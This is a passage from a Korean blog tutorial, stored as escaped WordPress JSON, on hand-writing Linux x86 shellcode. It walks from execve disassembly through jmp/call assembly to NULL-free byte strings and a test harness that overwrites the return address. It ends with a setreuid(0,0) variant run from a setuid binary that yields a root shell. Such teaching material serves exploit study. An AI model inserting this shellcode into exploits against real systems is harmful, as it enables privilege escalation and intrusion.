char *name[2];  \uc8fc\uc18c(4\ubc14\uc774\ud2b8) * 2 = 8\ubc14\uc774\ud2b8\ub97c \ubcc0\uc218\uacf5\uac04\uc73c\ub85c \ud655\ubcf4.

0x80481e2 <main+6>:     movl   $0x808b228,0xfffffff8(%ebp)
name[0] = \"\/bin\/sh\";  %ebp\ub97c \uae30\uc900\uc73c\ub85c -8\ubc14\uc774\ud2b8 \uc704\uce58\uc5d0 \ubb38\uc790\uc5f4\uc758 \uc8fc\uc18c\ub97c \ub123\uc74c.

0x80481e9 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
name[1] = NULL;    %ebp\uae30\uc900 -4\ubc14\uc774\ud2b8 \uc704\uce58\uc5d0 0\uc744 \ub123\uc74c.

0x80481f0 <main+20>:    push   $0x0
0\uc744 stack\uc5d0 \uc800\uc7a5\ud568.

0x80481f2 <main+22>:    lea    0xfffffff8(%ebp),%eax
%ebp -8\uc5d0 \uc8fc\uc18c(\ubb38\uc790\uc5f4\uc8fc\uc18c)\ub97c %eax\uc5d0 \ub123\uc74c. \uc8fc\uc18c\uc758 \uc8fc\uc18c.

0x80481f5 <main+25>:    push   %eax
\ubb38\uc790\uc5f4 \uc8fc\uc18c\uc758 \uc8fc\uc18c\ub97c stack\uc5d0 \uc800\uc7a5\ud568.

0x80481f6 <main+26>:    pushl  0xfffffff8(%ebp)
\ubb38\uc790\uc5f4\uc758 \uc8fc\uc18c\ub97c stack\uc5d0 \uc800\uc7a5\ud568.

0x80481f9 <main+29>:    call   0x804c36c <__execve>
execve()\ud568\uc218\ub97c \ud638\ucd9c\ud568.

0x804c36c <__execve>:   push   %ebp
0x804c36d <__execve+1>: mov    $0x0,%eax
0x804c372 <__execve+6>: mov    %esp,%ebp
\uc774 \uc2ef\uc810\uc5d0\uc11c stack\uc5d0 \uc313\uc5ec\uc788\ub294 data\ub97c \ubcf4\uba74

        +---------------+
        |      %ebp     |   <--- %ebp \uac12                    (\ub0ae\uc740 \uc8fc\uc18c)
        +---------------+
        |      ret      |    %ebp + 0x04
        +---------------+
        |    name[0]    |    %ebp + 0x08    ---> %ebx
        +---------------+
        |     name      |     %ebp + 0x0c    ---> %ecx  
        +---------------+
        |     0x00      |    %ebp + 0x10    ---> %edx       (\ub192\uc740 \uc8fc\uc18c)
        +---------------+

0x804c374 <__execve+8>: test   %eax,%eax
0x804c376 <__execve+10>:        push   %edi
0x804c377 <__execve+11>:        push   %ebx
0x804c378 <__execve+12>:        mov    0x8(%ebp),%edi
0x804c37b <__execve+15>:        je     0x804c382 <__execve+22>
0x804c37d <__execve+17>:        call   0x0
0x804c382 <__execve+22>:        mov    0xc(%ebp),%ecx
0x804c385 <__execve+25>:        mov    0x10(%ebp),%edx
0x804c388 <__execve+28>:        push   %ebx
0x804c389 <__execve+29>:        mov    %edi,%ebx
0x804c38b <__execve+31>:        mov    $0xb,%eax
0x804c390 <__execve+36>:        int    $0x80

\ucd5c\uc885\uc801\uc73c\ub85c int $0x80\uc774\uc804\uc5d0 %eax,%ebx,%ecx,%edx\uc5d0 \uac12\ub4e4\uc774 \uc544\ub798\uc640 \uac19\uc774 \ucc44\uc6cc\uc9c4 \uac83\uc744 \ubcfc\uc218 \uc788\ub2e4.

       %eax   --->    0xb    ( execve()\uc5d0 \ub300\ud55c system call No. )
       %ebx   --->    name[0]
       %ecx   --->    name
       %edx   --->    0x00  ( execve()\uc758 \ub9c8\uc9c0\ub9c9 \uc778\uc218 )

\uc774 \uc815\ubcf4\ub97c \uac00\uc9c0\uace0 \uc5b4\uc148\ube14\ub9ac\ub85c shellcode \ud504\ub85c\uae00\ub7a8\uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\uc790. \uc774 shellcode\ub97c \uad6c\ud604\ud558\uae30 \uc704\ud574\uc11c\ub294
2\uac00\uc9c0 \ub354 \uace0\ub824\ud574\uc57c \ud560 \uc810\uc774 \uc788\ub2e4. \ud558\ub098\ub294 \ubb38\uc790\uc5f4\uc758 \ub05d\uc5d0 NULL\uc744 \ub123\uc5b4\uc11c \ubb38\uc790\uc758 \ub05d\uc744 \uc54c\ub9ac\ub294 \uc791\uc5c5\uc744 
\ud574\uc57c \ud558\uba70, \ub2e4\ub978 \ud558\ub098\ub294 name\uc744 \uad6c\ud604\ud574 \uc918\uc57c \ud55c\ub2e4\ub294 \uac83\uc774\ub2e4.  \uc989 name = [\ubb38\uc790\uc5f4\uc8fc\uc18c]+[NULL] \uc774\ub2e4.
\uadf8\ub798\uc11c \ubb38\uc790\uc5f4\uc758 \uc704\uce58\ub294 jmp & call\uc744 \uc774\uc6a9\ud558\uc5ec \uc0c1\ub300\uc8fc\uc18c\ub97c \uc54c\uc218 \uc788\uc73c\ubbc0\ub85c \ubb38\uc790\uc5f4 \ub4a4\uc5d0 name\ub97c \uad6c\ud604
\ud558\uba74\ub41c\ub2e4. \uc544\ub798 \uc5b4\uc148\ube14\ub9ac \ud504\ub85c\uadf8\ub7a8\uc744 \ubcf4\uc790.


[willy@Null@Root]$ cat test51.s
.globl main
main:
         jmp     strings
start:   popl    %esi                <--- \ubb38\uc790\uc5f4 \uc704\uce58 (\ubb38\uc790\uc5f4\uc740 \/bin\/sh 7\uc790)
         movb    $0x00,0x7(%esi)     <--- \ubb38\uc790\uc5f4 \ub05d\uc5d0 NULL\uc704\uce58 (\ubb38\uc790\uc5f4\uc774 \ub05d\ub0a8\uc744 \uc54c\ub9bc)
         movl    %esi, 0x8(%esi)     <--- name[0]\uc744 \uad6c\ud604\ud558\uae30 \uc704\ud574 \ubb38\uc790\uc5f4 \ub4a4\uc5d0 \ub123\uc74c.
         movl    $0x00,0xc(%esi)     <--- name[1]\uc744 \uad6c\ud604\ud558\uae30 \uc704\ud574\uc11c name[0]\ub4a4\uc5d0 NULL\uc744 \ub123\uc74c.
         movl    $0x0b,%eax          <--- %eax\uc5d0 0xb(11)\uc744 \ub123\uc5b4 execve() system call\ud568. 
         movl    %esi, %ebx          <--- %ebx\uc5d0 \ubb38\uc790\uc5f4\uc744 \ub123\uc74c.
         leal    0x8(%esi), %ecx     <--- %ecx\uc5d0 name = name[0]+name[1]\uc744 \ub123\uc74c.
         movl    0xc(%esi), %edx     <--- %edx\uc5d0 NULL(0x00)\uc744 \ub123\ub294\ub2e4.
         int     $0x80               <--- interrupt 0x80\uc744 \ud574\uc11c system call\uc744 \ud568.
         movl    $0x01,%eax
         movl    $0x00,%ebx
         int     $0x80               <--- exit(0) system call.  
strings: call start
         .string \"\/bin\/sh\"

[willy@Null@Root]$ gcc test51.s -o test51

[willy@Null@Root]$ objdump -d test51

           :
0804841c <main>:
804841c:       eb 2a                   jmp    8048448 <strings>

0804841e <start>:
804841e:       5e                      pop    %esi
804841f:       c6 46 07 00             movb   $0x0,0x7(%esi)
8048422:       89 76 08                mov    %esi,0x8(%esi)
8048426:       c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
804842d:       b8 0b 00 00 00          mov    $0xb,%eax
8048432:       89 f3                   mov    %esi,%ebx
8048434:       8d 4e 08                lea    0x8(%esi),%ecx
8048437:       8b 56 0c                mov    0xc(%esi),%edx
804843a:       cd 80                   int    $0x80
804843c:       b8 01 00 00 00          mov    $0x1,%eax
8048441:       bb 00 00 00 00          mov    $0x0,%ebx
8048446:       cd 80                   int    $0x80

08048448 <strings>:
8048448:       e8 d1 ff ff ff          call   804841e <start>
804844d:       2f                      das    
804844e:       62 69 6e                bound  %ebp,0x6e(%ecx)
8048451:       2f                      das    
8048452:       73 68                   jae    80484bc <gcc2_compiled.+0x20>
           :

\uc5ec\uae30\uc11c \uc5bb\uc5b4\uc9c4 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \uc815\ub9ac\ud574\uc11c \uc544\ub798 test43.c\uc640 \uac19\uc774 ret \uc8fc\uc18c\uc5d0 \uae30\uacc4\uc5b4\ucf54\ub4dc\uac00 \ub4e4\uc5b4\uac00\ub3c4\ub85d
\ud558\ub294 shellcode\uad6c\ub3d9 \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e4\uc5b4 \uc2e4\ud589\ud574 \ubcf4\uc790.

[willy@Null@Root]$ cat test43.c 

char sc[] =
\"\\xeb\\x2a\\x5e\\xc6\\x46\\x07\\x00\\x89\\x76\\x08\\xc7\\x46\\x0c\\x00\\x00\\x00\\x00\"
\"\\xb8\\x0b\\x00\\x00\\x00\\x89\\xf3\\x8d\\x4e\\x08\\x8b\\x56\\x0c\\xcd\\x80\\xb8\\x01\"
\"\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x00\\xcd\\x80\\xe8\\xd1\\xff\\xff\\xff\/bin\/sh\";

main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)sc;
}

[willy@Null@Root]$ gcc test43.c -o test43

[willy@Null@Root]$ .\/test43
sh-2.04$ 

shell\uc744 \uc5bb\ub294\ub370 \uc131\uacf5\ud558\uc600\ub2e4.. \ucd5c\uc885\uc801\uc73c\ub85c \ucf54\ub4dc\ub0b4\uc5d0 NULL\uc774 \ub098\ud0c0\ub098\ub294 \ubd80\ubd84\uc744 \uc544\ub798 test52.s\uc640 \uac19\uc774
\uc218\uc815\ud558\uace0 \uc774\ubc88\uc5d0\ub294 gdb\ub97c \uc774\uc6a9\ud558\uc5ec \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \ub9cc\ub4e4\uc5b4 \ubcf4\uc790.

             \uc218\uc815\uc804                |             \uc218\uc815\ud6c4  
       ----------------------------+------------------------------
       movb    $0x00,0x7(%esi)     |      xor    %eax,  %eax
                                   |      movb   %al,   0x7(%esi)
       movl    $0x00,0xc(%esi)     |      movl   %eax,  0xc(%esi)
       movl    0xc(%esi), %edx     |      xor    %edx,  %edx

[willy@Null@Root]$ cat test52.s
.globl main
main:
        jmp     strings
start:  popl    %esi
        movl    %esi, 0x8(%esi)
        xor     %eax,  %eax
        movb    %al, 0x7(%esi)
        movl    %eax, 0xc(%esi)
        movb    $0x0b, %al
        movl    %esi, %ebx
        leal    0x8(%esi), %ecx
        xor     %edx, %edx
        int     $0x80
        movb    $0x01,%al
        xor     %ebx, %ebx
        int     $0x80
strings:call start
        .string \"\/bin\/sh\"


[willy@Null@Root]$ gcc test52.s -o test52

\ucef4\ud37c\uc77c\ud55c\ub4a4 gdb\ub85c \uc2e4\ud589\ud654\uc77c\ub97c \uc5f0\ud6c4 disassemble main\uc744 \ud574\ubcf4\uba74 \ubc14\ub85c jump\uac00 \uc2dc\uc791\ub418\ub294 \uac83\uc744 \ubcfc\uc218 
\uc788\ub2e4. \uadf8\ub7ec\ubbc0\ub85c x\/40bx main \ud558\uba74 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \ubcfc\uc218 \uc788\ub2e4. 

[willy@Null@Root]$ gdb -q test52
(gdb) disassem main
Dump of assembler code for function main:
0x804841c <main>:       jmp    0x804843b <strings>
End of assembler dump.
(gdb) disassem start
Dump of assembler code for function start:
0x804841e <start>:      pop    %esi
0x804841f <start+1>:    mov    %esi,0x8(%esi)
0x8048422 <start+4>:    xor    %eax,%eax
0x8048424 <start+6>:    mov    %al,0x7(%esi)
0x8048427 <start+9>:    mov    %eax,0xc(%esi)
0x804842a <start+12>:   mov    $0xb,%al
0x804842c <start+14>:   mov    %esi,%ebx
0x804842e <start+16>:   lea    0x8(%esi),%ecx
0x8048431 <start+19>:   xor    %edx,%edx
0x8048433 <start+21>:   int    $0x80
0x8048435 <start+23>:   mov    $0x1,%al
0x8048437 <start+25>:   xor    %ebx,%ebx
0x8048439 <start+27>:   int    $0x80
End of assembler dump.
(gdb) disassem strings
Dump of assembler code for function strings:
0x804843b <strings>:    call   0x804841e <start>
0x8048440 <strings+5>:  das    
0x8048441 <strings+6>:  bound  %ebp,0x6e(%ecx)
0x8048444 <strings+9>:  das    
0x8048445 <strings+10>: jae    0x80484af <_fini+35>
0x8048447 <strings+12>: add    %dl,0x90909090(%eax)
0x804844d <strings+18>: nop    
0x804844e <strings+19>: nop    
0x804844f <strings+20>: nop    
End of assembler dump.
(gdb) x\/40bx main
0x804841c <main>:       0xeb    0x1d    0x5e    0x89    0x76    0x08    0x31    0xc0
0x8048424 <start+6>:    0x88    0x46    0x07    0x89    0x46    0x0c    0xb0    0x0b
0x804842c <start+14>:   0x89    0xf3    0x8d    0x4e    0x08    0x31    0xd2    0xcd
0x8048434 <start+22>:   0x80    0xb0    0x01    0x31    0xdb    0xcd    0x80    0xe8
0x804843c <strings+1>:  0xde    0xff    0xff    0xff    0x2f    0x62    0x69    0x6e

\uc5ec\uae30\uc11c \uad6c\ud55c \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c shellcode \uad6c\ub3d9 \ud504\ub85c\uadf8\ub7a8(test44.c)\uc5d0 \ub123\uc5b4 \uc2e4\ud589\uc2dc\ud0a4\uba74 \uc815\uc0c1\uc801\uc73c\ub85c
shell\uc774 \ub728\ub294\uac83\uc744 \ud655\uc778\ud560\uc218 \uc788\ub2e4.

[willy@Null@Root]$ cat test44.c 
char sc1[] =
\"\\xeb\\x1d\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\"
\"\\x4e\\x08\\x31\\xd2\\xcd\\x80\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xde\\xff\\xff\\xff\/bin\/sh\";

main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)sc1;
}

[willy@Null@Root]$ gcc test44.c -o test44

[willy@Null@Root]$ .\/test44
sh-2.04$ ps
  PID TTY          TIME CMD
9238 pts\/6    00:00:00 bash
9262 pts\/6    00:00:00 sh
9264 pts\/6    00:00:00 ps

\uc774\uc81c shellcode\ub97c \uc644\uc131\ud558\uc600\ub2e4. \uadf8\ub7ec\ub098 linux 7.0\uc774\uc0c1\uc5d0\uc11c \uc774 shellcode\ub97c \uc0ac\uc6a9\ud558\uae30 \uc704\ud574\uc11c\ub294 \ud558\ub098\ub354
\uae30\uacc4\ucf54\ub4dc\ub97c \ub9cc\ub4e4\uc5b4 \uc8fc\uc5b4\uc57c \ud55c\ub2e4. \uadf8\uac83\uc740 \ubc14\ub85c setreuid()\uc744 shellcode\uc55e\uc5d0 \ucd94\uac00\ud558\ub294 \uac83\uc774\ub2e4.
setreuid()\uc758 \uae30\uacc4\uc5b4\ucf54\ub4dc \ub9cc\ub4dc\ub294 \uac83\uc5d0 \ub300\ud574\uc11c\ub294 \ub2e8\uc21c\ud558\uae30 \ub54c\ubb38\uc5d0 \uc790\uc138\ud788 \uc124\uba85\ud558\uc9c0 \uc54a\ub294\ub2e4. 
root uid\ub97c \uc124\uc815\ud558\ub294 setreuid() \ucf54\ub4dc\ub294 \uc544\ub798\uc640 \uac19\ub2e4.

main()
{
   setreuid(0,0);
}

       \\x31\\xc0         \/\/ xor %eax,%eax
       \\xb0\\x46         \/\/ mov $0x46,%al
       \\x31\\xdb         \/\/ xor %ebx,%ebx
       \\x31\\xc9         \/\/ xor %ecx,%ecx
       \\xcd\\x80         \/\/ int $0x80

\uc774\ub807\uac8c \ub9cc\ub4e4\uc5b4\uc9c4 \ucf54\ub4dc\ub97c shellcode\uc55e\uc5d0 \ubd99\uc5ec \uc544\ub798\uc640 shell\uad6c\ub3d9 \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e0\ub4a4  \ucef4\ud37c\uc77c \ud558\uc5ec
\uc2e4\ud589\ud654\uc77c\uc5d0 root setuid\uc744 \ubd99\uc5ec\ubcf4\uc790.

[willy@Null@Root]$ cat test45.c
char sc[] =
\"\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\"   \/\/ setreuid(0,0);
\"\\xeb\\x1d\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x31\"
\"\\xd2\\xcd\\x80\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xde\\xff\\xff\\xff\/bin\/sh\";

main()
{
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)sc;
}

[willy@Null@Root]$ gcc test45.c -o test45

[root@Null@Root]# chown root test45

[root@Null@Root]# chmod 4755 test45

[root@Null@Root]# ls -al
drwxrwxr-x    2 willy    willy        4096 Sep 12 19:53 .
drwxrwxr-x   12 willy    willy        4096 Sep  4 07:34 ..
-rwsr-xr-x    1 root     willy       13825 Sep 12 19:53 test45

\uc774\uc81c willy \uad8c\ud55c\uc73c\ub85c test45\ub97c \uc2e4\ud574\uc2dc\ucf1c\ubcf4\uc790. 

[willy@Null@Root]$ .\/test45
sh-2.04# id
uid=0(root) gid=501(willy) groups=501(willy)

\ub4dc\ub514\uc5b4 root shell\uc744 \uc5bb\uc5c8\ub2e4. \uc774\uc81c shellcode \ub9cc\ub4e4\uae30\uac00 \ubaa8\ub450 \ub05d\ub0ac\ub2e4. \uba54\ubaa8\ub9ac\uc758 \uad6c\uc870 \ubd80\ud130 \uc2dc\uc791\ud558\uc5ec, 
\uc5b4\uc148\ube14\ub9ac\uc5b4\uc758 \uae30\ubcf8 \uad6c\uc870\uc640 \uba85\ub839\uc5b4, \uadf8\ub9ac\uace0 system call\uc744 \uc774\uc6a9\ud55c shellcode \uae4c\uc9c0..  \uac00\ub2a5\ud55c\ud55c \ubaa8\ub4e0 
\ub0b4\uc6a9\uc744 \uc27d\uac8c \uc774\ud574 \ud560\uc218 \uc788\ub3c4\ub85d \uc124\uba85\ud558\ub824 \ub178\ub825\ud558\uc600\ub2e4. \uc774 \ubb38\uc11c\uac00 shellcode\uc81c\uc791\uc744 \uc774\ud574\ud558\ub294\ub370 \ub3c4\uc6c0\uc774
\ub418\uc5c8\uc73c\uba74 \ud558\ub294 \ubc14\ub7a8\uc774\ub2e4. \uc2dc\uac04\uc774 \uc788\ub294 \uc0ac\ub78c\uc740 \/usr\/include\/asm\/unistd.h\uc5d0 \uc788\ub294 300\uc5ec\uac1c\uc758 system
call \ud568\uc218\ub4e4 \uc911\uc5d0 \uba87\uac00\uc9c0\ub97c \uc774\uc6a9\ud558\uc5ec \uc7ac\ubbf8\uc788\ub294 \uae30\uacc4\uc5b4\ucf54\ub4dc\ub97c \ub9cc\ub4e4\uc5b4 \ubcf4\ub294\uac83\ub3c4 \uc88b\uc744\ub4ef \ud558\ub2e4. 
\uc554\ud2bc \ub0b4\uc6a9\uc911 \uc758\ubb38\uc774 \uc788\uac70\ub098 \uc218\uc815\ud560 \ubd80\ubd84\uc774 \uc788\uc73c\uba74 \uc5b8\uc81c\ub77c\ub3c4 \uc5f0\ub77d \ubc14\ub780\ub2e4. 
\ucc38\uace0\ub85c OS\ub098 CPU\uac00 \ub2e4\ub978 \uacbd\uc6b0 \uba54\ubaa8\ub9ac \ubd80\ubd84\uc774\ub098 \ub808\uc9c0\uc2a4\ud130, \uadf8\ub9ac\uace0 \uc5b4\uc148\ube14\ub9ac\uc758 \uad6c\uc870\uac00 \ub2e4\ub97c\uc218 \uc788\ub2e4. 
\uc774\ubd80\ubd84\uc5d0 \ub300\ud574\uc11c\ub294 bacchante project (http:\/\/165.246.33.21\/bacchante)\uc744 \ucc38\uace0\ud558\uace0 \uac01\uc790 \uc751\uc6a9\ud574 
\ubcf4\uae30 \ubc14\ub780\ub2e4.
<\/P><\/DIV>\n","protected":false},"excerpt":{"rendered":"

[\ubaa9\ucc28]1.\uc5b4\uc148\ube14\ub9ac \uae30\ubcf8 \uba85\ub839\uc5b42.\uae30\ubcf8\uc801\uc778 \uc5b4\uc148\ube14\ub9ac \ucf54\ub4dc\uc758 \uc774\ud5743.C\ud504\ub85c\uadf8\ub7a8\uc744 \uc258\ucf54\ub4dc\ub85c \ub9cc\ub4e4\uae30.4.setreuid(0,0)\ud568\uc218 \uc258\ucf54\ub4dc\ub85c \ub9cc\ub4e4\uae30 \ubd80\ub85d : unistd.h 1.\uc5b4\uc148\ube14\ub9ac \uae30\ubcf8 \uba85\ub839\uc5b4\ub77c\ubca8 | \uc624\ud53c\ucf54\ub4dc |\uc81c1\uc624\ud53c\ub79c\ub4dc |\uc81c2\uc624\ud53c\ub79c\ub4dc | \uc124\uba85\ubb38(\uc8fc\uc11d)——+———–+————+————+————–main: movl %esi, %ebp ; comment +——+——————–+—————————+——————–+ |\uba85\ub839\uc5b4| \uc774\uc6a9 \ubc29\ubc95 | \uba85\ub839\uc5b4\uc758 \uc758\ubbf8 | C\uc5d0\uc11c\uc758 \uc720\uc0ac \ud45c\ud604 |+——+——————–+—————————+——————–+ | mov | movb $0x1,%eax | 1\uc744 eax\uc5d0 \ub123\uc74c.(1 \ubc14\uc774\ud2b8) | eax = 0x01 | | […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_import_markdown_pro_load_document_selector":0,"_import_markdown_pro_submit_text_textarea":"","site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[22],"tags":[],"class_list":["post-93","post","type-post","status-publish","format-standard","hentry","category-development_unix"],"_links":{"self":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/posts\/93","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=93"}],"version-history":[{"count":0,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=\/wp\/v2\/posts\/93\/revisions"}],"wp:attachment":[{"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hasu0707.duckdns.org\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}